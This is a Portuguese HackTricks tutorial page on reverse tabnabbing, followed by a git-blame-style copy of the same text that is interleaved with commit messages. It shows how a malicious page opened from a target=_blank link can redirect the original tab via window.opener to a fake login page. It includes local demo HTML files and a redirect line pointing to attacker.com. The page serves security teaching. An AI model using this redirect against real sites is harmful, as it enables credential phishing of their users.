hacktricks/pentesting-web/reverse-tab-nabbing.md

{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.

</details>
{% endhint %}


# Descrição

Em uma situação onde um **atacante** pode **controlar** o argumento **`href`** de uma tag **`<a`** com o atributo **`target="_blank" rel="opener"`** que será clicada por uma vítima, o **atacante** **aponta** este **link** para uma web sob seu controle (um **site** **malicioso**). Então, uma vez que a **vítima clica** no link e acessa o site do atacante, este **site** **malicioso** poderá **controlar** a **página** **original** via o objeto javascript **`window.opener`**.\
Se a página não tiver **`rel="opener"` mas contiver `target="_blank"` e também não tiver `rel="noopener"`** ela pode também ser vulnerável.

Uma maneira comum de abusar desse comportamento seria **mudar a localização da web original** via `window.opener.location = https://attacker.com/victim.html` para uma web controlada pelo atacante que **parece com a original**, para que possa **imitar** o **formulário** de **login** do site original e pedir credenciais ao usuário.

No entanto, note que como o **atacante agora pode controlar o objeto window do site original** ele pode abusar disso de outras maneiras para realizar **ataques mais furtivos** (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)

# Visão Geral

## Com link de retorno

Link entre páginas pai e filho quando o atributo de prevenção não é usado:

![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)

## Sem link de retorno

Link entre páginas pai e filho quando o atributo de prevenção é usado:

![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)

## Exemplos <a href="#examples" id="examples"></a>

Crie as seguintes páginas em uma pasta e execute um servidor web com `python3 -m http.server`\
Então, **acesse** `http://127.0.0.1:8000/`vulnerable.html, **clique** no link e note como a **URL** do **site** **original** **muda**.

{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}

{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
{% endcode %}

{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}

## Propriedades acessíveis <a href="#accessible-properties" id="accessible-properties"></a>

No cenário em que ocorre um acesso **cross-origin** (acesso entre diferentes domínios), as propriedades da instância da classe JavaScript **window**, referida pela referência do objeto JavaScript **opener**, que podem ser acessadas por um site malicioso são limitadas ao seguinte:

- **`opener.closed`**: Esta propriedade é acessada para determinar se uma janela foi fechada, retornando um valor booleano.
- **`opener.frames`**: Esta propriedade fornece acesso a todos os elementos iframe dentro da janela atual.
- **`opener.length`**: O número de elementos iframe presentes na janela atual é retornado por esta propriedade.
- **`opener.opener`**: Uma referência à janela que abriu a janela atual pode ser obtida através desta propriedade.
- **`opener.parent`**: Esta propriedade retorna a janela pai da janela atual.
- **`opener.self`**: O acesso à própria janela atual é fornecido por esta propriedade.
- **`opener.top`**: Esta propriedade retorna a janela do navegador mais alta.

No entanto, em instâncias onde os domínios são idênticos, o site malicioso ganha acesso a todas as propriedades expostas pela referência do objeto JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).

# Prevenção

As informações de prevenção estão documentadas no [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).

## Referências

* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`{% hint style="success" %}`
			`Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`<details>`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`<summary>Support HackTricks</summary>`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`* Confira os [planos de assinatura](https://github.com/sponsors/carlospolop)!`
			`* Junte-se ao 💬 [grupo do Discord](https://discord.gg/hRep4RUj7f) ou ao [grupo do telegram](https://t.me/peass) ou siga-nos no Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Compartilhe truques de hacking enviando PRs para o [HackTricks](https://github.com/carlospolop/hacktricks) e [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
			`</details>`
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`{% endhint %}`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00

Translated to Portuguese 2023-06-06 18:56:34 +00:00			`# Descrição`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			Em uma situação onde um atacante pode controlar o argumento `href` de uma tag `<a` com o atributo `target="_blank" rel="opener"` que será clicada por uma vítima, o atacante aponta este link para uma web sob seu controle (um site malicioso). Então, uma vez que a vítima clica no link e acessa o site do atacante, este site malicioso poderá controlar a página original via o objeto javascript `window.opener`.\
			Se a página não tiver `rel="opener"` mas contiver `target="_blank"` e também não tiver `rel="noopener"` ela pode também ser vulnerável.
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			Uma maneira comum de abusar desse comportamento seria mudar a localização da web original via `window.opener.location = https://attacker.com/victim.html` para uma web controlada pelo atacante que parece com a original, para que possa imitar o formulário de login do site original e pedir credenciais ao usuário.
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`No entanto, note que como o atacante agora pode controlar o objeto window do site original ele pode abusar disso de outras maneiras para realizar ataques mais furtivos (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh 2024-02-06 04:06:53 +00:00			`# Visão Geral`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Portuguese 2023-06-06 18:56:34 +00:00			`## Com link de retorno`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Portuguese 2023-06-06 18:56:34 +00:00			`Link entre páginas pai e filho quando o atributo de prevenção não é usado:`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh 2024-02-06 04:06:53 +00:00			`![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Portuguese 2023-06-06 18:56:34 +00:00			`## Sem link de retorno`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Portuguese 2023-06-06 18:56:34 +00:00			`Link entre páginas pai e filho quando o atributo de prevenção é usado:`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh 2024-02-06 04:06:53 +00:00			`![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Portuguese 2023-06-06 18:56:34 +00:00			`## Exemplos <a href="#examples" id="examples"></a>`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Portuguese 2023-06-06 18:56:34 +00:00			Crie as seguintes páginas em uma pasta e execute um servidor web com `python3 -m http.server`\
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			Então, acesse `http://127.0.0.1:8000/`vulnerable.html, clique no link e note como a URL do site original muda.
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh 2024-02-06 04:06:53 +00:00
			`{% code title="vulnerable.html" %}`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00			```markup
			`<!DOCTYPE html>`
			`<html>`
			`<body>`
			`<h1>Victim Site</h1>`
			`<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>`
			`</body>`
			`</html>`
			```
			`{% endcode %}`

			`{% code title="malicious.html" %}`
			```markup
			`<!DOCTYPE html>`
			`<html>`
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh 2024-02-06 04:06:53 +00:00			`<body>`
			`<script>`
			`window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";`
			`</script>`
			`</body>`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00			`</html>`
			```
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh 2024-02-06 04:06:53 +00:00			`{% endcode %}`

GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`{% code title="malicious_redir.html" %}`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00			```markup
			`<!DOCTYPE html>`
			`<html>`
			`<body>`
			`<h1>New Malicious Site</h1>`
			`</body>`
			`</html>`
			```
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh 2024-02-06 04:06:53 +00:00			`{% endcode %}`

Translated to Portuguese 2023-06-06 18:56:34 +00:00			`## Propriedades acessíveis <a href="#accessible-properties" id="accessible-properties"></a>`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`No cenário em que ocorre um acesso cross-origin (acesso entre diferentes domínios), as propriedades da instância da classe JavaScript window, referida pela referência do objeto JavaScript opener, que podem ser acessadas por um site malicioso são limitadas ao seguinte:`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh 2024-02-06 04:06:53 +00:00			- `opener.closed`: Esta propriedade é acessada para determinar se uma janela foi fechada, retornando um valor booleano.
			- `opener.frames`: Esta propriedade fornece acesso a todos os elementos iframe dentro da janela atual.
			- `opener.length`: O número de elementos iframe presentes na janela atual é retornado por esta propriedade.
			- `opener.opener`: Uma referência à janela que abriu a janela atual pode ser obtida através desta propriedade.
			- `opener.parent`: Esta propriedade retorna a janela pai da janela atual.
			- `opener.self`: O acesso à própria janela atual é fornecido por esta propriedade.
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			- `opener.top`: Esta propriedade retorna a janela do navegador mais alta.
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`No entanto, em instâncias onde os domínios são idênticos, o site malicioso ganha acesso a todas as propriedades expostas pela referência do objeto JavaScript [window](https://developer.mozilla.org/en-US/docs/Web/API/Window).`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Portuguese 2023-06-06 18:56:34 +00:00			`# Prevenção`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`As informações de prevenção estão documentadas no [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil 2024-02-08 04:35:32 +00:00			`## Referências`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh 2024-02-06 04:06:53 +00:00			`* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
			`<details>`

Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`<summary>Support HackTricks</summary>`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
			`</details>`
Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00			`{% endhint %}`